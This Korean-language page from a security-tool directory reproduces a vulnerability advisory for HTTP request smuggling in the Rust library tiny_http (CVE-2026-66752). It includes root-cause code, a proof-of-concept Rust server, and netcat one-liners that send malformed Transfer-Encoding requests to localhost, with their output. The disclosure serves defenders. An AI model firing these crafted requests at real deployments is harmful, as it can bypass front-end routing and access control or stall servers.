Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-66752-HTTP-Request-Smuggling-via-Unparsed-Transfer-Encoding-Values-tiny_http- — 보안 권고: 구문 분석되지 않은 Transfer-Encoding 값을 통한 HTTP 요청 스머글링 (tiny_http) | Kitploit
도구/GitHubGitHub/theopaid/cve-2026-66752-http-request-smuggling-via-unparsed-transfer-encoding-values-tiny_http-
Vulnerability AnalysisWeb Application ExploitationWeb SecurityPapers & Research
GitHubtheopaid/cve-2026-66752-http-request-smuggling-via-unparsed-transfer-encoding-values-tiny_http-

CVE-2026-66752-HTTP-Request-Smuggling-via-Unparsed-Transfer-Encoding-Values-tiny_http-

보안 권고: 구문 분석되지 않은 Transfer-Encoding 값을 통한 HTTP 요청 스머글링 (tiny_http)

저장소 보기
1개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

보안 권고: 구문 분석되지 않은 Transfer-Encoding 값으로 인한 HTTP 요청 스머글링 (tiny_http)

배정된 CVE ID: CVE-2026-66752

요약

tiny_http는 Transfer-Encoding 헤더가 존재하는지만 확인합니다. 값을 전혀 확인하지 않습니다. chunked가 아닌 코딩이나 마지막 요소가 chunked가 아닌 코딩 목록을 포함한 모든 값이 본문을 청크 디코딩하게 하며, 동시에 Content-Length는 무시됩니다.

전송 코딩을 올바르게 구문 분석하는 프런트 엔드는 이러한 요청을 tiny_http와 다르게 프레이밍합니다. 하나의 연결에서 두 참여자가 서로 다른 프레이밍을 갖는 것이 요청 스머글링의 전제 조건입니다. 청크가 아닌 코딩으로 청크가 아닌 본문을 보내면 tiny_http는 본문 읽기에 실패하고 아무 응답도 하지 않습니다.

영향받는 버전

저장소 URL: https://github.com/tiny-http/tiny-http

영향받는 버전현재 릴리스인 0.12.0(2022-10-06)까지의 모든 릴리스 버전
검증된 버전0.6.2, 0.6.3, 0.8.0, 0.9.0, 0.10.0, 0.11.0, 0.12.0
수정된 버전작성 시점 기준 수정 버전 없음

심각도

CWE-444 (HTTP 요청의 일관되지 않은 해석).

CVSS 4.0 기본 점수 6.3 (보통) CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:L/SI:L/SA:N

위협 모델

원시 HTTP를 전송하는 원격의 인증되지 않은 클라이언트. 자격 증명이나 사용자 상호 작용이 필요 없습니다.

스머글링 사례는 tiny_http가 Transfer-Encoding과 Content-Length를 전달하고 RFC 9112 섹션 6.1을 올바르게 적용하는 프런트 엔드 또는 CDN 뒤에 있어야 합니다. 즉, 마지막 요소가 chunked가 아닌 코딩 목록을 chunked가 아닌 것으로 처리하고 Content-Length로 대체합니다. 그러면 해당 프런트 엔드와 tiny_http는 본문이 끝나는 위치에 대해 서로 다르게 판단합니다.

응답 없는 요청 사례는 연결할 수 있는 능력 외에는 아무것도 필요하지 않습니다.

근본 원인

tiny_http-0.12.0/src/request.rs, 143~153행. 헤더를 찾아 복제하지만 값은 존재 여부만 확인합니다:

root@kitploit:~
143      // finding the transfer-encoding header
144      let transfer_encoding = headers
145          .iter()
146          .find(|h: &&Header| h.field.equiv("Transfer-Encoding"))
147          .map(|h| h.value.clone());
148  
149      // finding the content-length header
150      let content_length = if transfer_encoding.is_some() {
151          // if transfer-encoding is specified, the Content-Length
152          // header must be ignored (RFC2616 #4.4)
153          None

tiny_http-0.12.0/src/request.rs, 218~221행, 그런 다음 청크 디코더를 무조건 적용합니다:

root@kitploit:~
218      } else if transfer_encoding.is_some() {
219          // if a transfer-encoding was specified, then "chunked" is ALWAYS applied
220          // over the message (RFC2616 #3.6)
221          Box::new(FusedReader::new(Decoder::new(source_data))) as Box<dyn Read + Send + 'static>

transfer_encoding은 원시 값을 담는 Option<AsciiString>이며 그 내용을 검사하는 코드는 없습니다. RFC 9112 섹션 6.1은 요청의 최종 코딩이 chunked일 것을 요구하고 그렇지 않은 메시지를 서버가 거부할 것을 요구하며, 섹션 6.3은 Transfer-Encoding과 Content-Length를 모두 포함하는 요청을 거부할 것을 요구합니다.

개념 증명 (PoC)

1단계. 프레이밍 헤더와 읽은 본문을 보고하는 서버를 시작합니다.

root@kitploit:~
use std::io::Read;
use tiny_http::{Response, Server};

fn main() {
    let server = Server::http("127.0.0.1:8005").unwrap();
    for mut request in server.incoming_requests() {
        let te = request.headers().iter()
            .find(|h| h.field.equiv("Transfer-Encoding"))
            .map(|h| h.value.as_str().to_string());
        let cl = request.headers().iter()
            .find(|h| h.field.equiv("Content-Length"))
            .map(|h| h.value.as_str().to_string());
        let mut body = Vec::new();
        let r = request.as_reader().read_to_end(&mut body);
        println!("TE={:?} CL={:?} read={:?} body={:?}",
                 te, cl, r, String::from_utf8_lossy(&body));
        let _ = request.respond(Response::from_string("ok"));
    }
}

2단계. Transfer-Encoding: identity, 일치하는 Content-Length, 그리고 일반 본문이 포함된 요청을 보냅니다. 어떤 프런트 엔드든 이 본문을 5바이트 hello로 프레이밍합니다.

root@kitploit:~
printf 'POST / HTTP/1.1\r\nHost: x\r\nTransfer-Encoding: identity\r\nContent-Length: 5\r\n\r\nhello' | nc -w 2 127.0.0.1 8005

결과. tiny_http는 청크가 아닌 본문을 청크 디코딩하여 버리고 응답을 보내지 않았습니다. 클라이언트는 자체 타임아웃까지 대기하며 연결이 소비됩니다.

root@kitploit:~
TE=Some("identity") CL=Some("5") read=Err(Custom { kind: InvalidInput, error: DecoderError }) body=""

3단계. 마지막 요소가 chunked가 아닌 코딩 목록을 보냅니다.

root@kitploit:~
printf 'POST / HTTP/1.1\r\nHost: x\r\nTransfer-Encoding: chunked, identity\r\n\r\n5\r\nhello\r\n0\r\n\r\n' | nc -w 2 127.0.0.1 8005

결과. tiny_http는 이를 수락하고 청크(chunked)로 디코딩하는데, RFC 9112 섹션 6.1은 거부를 요구합니다:

root@kitploit:~
TE=Some("chunked, identity") CL=None read=Ok(5) body="hello"

대조적으로, Content-Length만 사용하거나 올바른 Transfer-Encoding: chunked를 사용하면 둘 다 정상적으로 동작하여 body="hello"를 산출합니다.

영향

tiny_http가 전송 코딩을 올바르게 구문 분석하는 프런트 엔드 뒤에 있는 경우, 두 구성 요소는 요청 본문이 끝나는 위치에 대해 서로 다르게 판단합니다. 공격자는 이러한 불일치의 양쪽 바이트를 선택할 수 있으며, 이는 프런트 엔드의 라우팅과 접근 제어를 우회하여 요청을 스머글링하는 표준 설정입니다.

프런트 엔드와 무관하게, 2단계와 3단계는 작업자를 점유하고 전혀 응답을 받지 못하는 사소하게 잘못 구성된 요청을 보여주므로 클라이언트는 요청이 거부되었는지 알 수 없습니다.

해결 방안

src/request.rs의 144행 부근에서 Transfer-Encoding을 쉼표로 구분된 목록으로 구문 분석합니다:

본문을 포함하는 요청의 최종 코딩이 chunked일 것을 요구하고, 다른 코딩은 청크 디코딩하지 말고 400으로 거부합니다. 프록시가 아닌 서버에 대해 RFC 9112 섹션 6.3이 요구하는 대로, 150행에서 Content-Length를 조용히 무시하지 말고 Transfer-Encoding과 Content-Length를 모두 포함하는 요청을 거부합니다.

본문 읽기가 실패하면 응답 없이 요청을 버리지 말고 400을 보냅니다.

도구 다운로드